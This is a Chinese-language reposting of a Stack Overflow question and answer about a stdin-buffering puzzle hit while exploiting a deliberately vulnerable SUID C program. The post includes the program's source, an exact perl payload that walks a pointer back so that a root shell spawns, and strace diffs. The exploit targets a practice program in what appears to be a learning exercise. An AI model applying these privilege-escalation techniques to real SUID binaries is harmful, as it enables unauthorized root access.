gpt4 book ai didi

linux - 连接文件时奇怪的猫行为

转载 作者:塔克拉玛干 更新时间:2023-11-03 00:51:27 26 4
gpt4 key购买 nike

我正在利用一个 SUID 程序,在我提供有效负载后,会生成一个/bin/sh shell,然后我将要执行的命令写在一个名为 commandsFile 的文件中,我将其通过管道传递给程序

cat payload commandsFile | ./vulnProg

这很好用。 commandsFile 中的命令会立即执行,输出会由新生成的 sh shell 显示,在执行所有这些命令后,sh 会终止,我会回到我的 bash 提示符。

但是,如果我尝试 cat 的简单变体...

cat payload commandsFile > combinedFile
cat combinedFile | ./vulnProg

...现在没有命令被执行。我回到我的 bash 提示符,完全没有输出。

我试过...

cat payload commandsFile | xxd

cat payload commandsFile > combinedFile
cat combinedFile | xxd

查看 vulnProg 正在“看到”什么。它们完全相同,每个字节,每个换行符位置。我的问题是为什么第一个版本可以工作而第二个版本不能?两者有什么区别?

易受攻击的程序:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
int i;

printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}

int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;

while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}

我的确切负载:

perl -e "print '\\\'x889192448" > /var/tmp/payload #move back ptr so that it starts with CA instead of FF which it initially contains.
echo a >> /var/tmp/payload #so that e() is called which spawns the shell

我的命令文件:

whoami
date
date

一些有用的输出:

$ sha1sum /var/tmp/combinedFile
1a0ba5bbdf9709e3f317b10a928a91dd63195733 /var/tmp/combinedFile

$ cat /var/tmp/payload /var/tmp/commands |sha1sum
1a0ba5bbdf9709e3f317b10a928a91dd63195733 -

还有:

$ strace -o /var/tmp/log1 cat /var/tmp/payload /var/tmp/commands > /dev/null
$ strace -o /var/tmp/log1 cat /var/tmp/payload /var/tmp/commands > /dev/null
$ diff /var/tmp/log1 /var/tmp/log2

1c1
< execve("/bin/cat", ["cat", "/var/tmp/payload", "/var/tmp/commands"], [/* 21 vars */]) = 0
---
> execve("/bin/cat", ["cat", "/var/tmp/combinedFile"], [/* 21 vars */]) = 0
29,30c29,30
< open("/var/tmp/payload", O_RDONLY) = 3
< fstat(3, {st_mode=S_IFREG|0664, st_size=889192450, ...}) = 0
---
> open("/var/tmp/combinedFile", O_RDONLY) = 3
> fstat(3, {st_mode=S_IFREG|0664, st_size=889192470, ...}) = 0
27168,27176c27168,27169
< read(3, "a\n", 65536) = 2
< write(1, "a\n", 2) = 2
< read(3, "", 65536) = 0
< close(3) = 0
< open("/var/tmp/commands", O_RDONLY) = 3
< fstat(3, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
< fadvise64(3, 0, 0, POSIX_FADV_SEQUENTIAL) = 0
< read(3, "whoami\ndate \ndate\n\n\n", 65536) = 20
< write(1, "whoami\ndate \ndate\n\n\n", 20) = 20
---
> read(3, "a\nwhoami\ndate \ndate\n\n\n", 65536) = 22
> write(1, "a\nwhoami\ndate \ndate\n\n\n", 22) = 22

但是我没有得到这个输出。有人可以解释一下吗?

最佳答案

假设数据确实相同(并且您的校验和表明它们是相同的),那么它们的传递方式一定有一些奇怪之处?

我不能告诉你那是什么,但我知道如何找出答案:使用 strace 来观察 cat 在每种情况下进行的系统调用。

strace -o log1 cat payload commandsFile > /dev/null
strace -o log2 cat combinedFile > /dev/null
diff log1 log2

如果没有显示任何不同,则尝试以类似的方式跟踪 vulnProg,或使用管道而不是重定向跟踪 cat

您也可以尝试调高跟踪详细级别(参见 strace --help)。

最后,如果所有其他方法都失败了,请使用 GDB 单步执行 vulnProg 代码。


编辑:

查看您的跟踪记录,很明显,一种情况使用两次 write 调用来实现另一种情况。这可能会对使用非阻塞读取的编写不佳的程序产生影响,但您的程序看起来不错。

关于linux - 连接文件时奇怪的猫行为,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/30994141/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com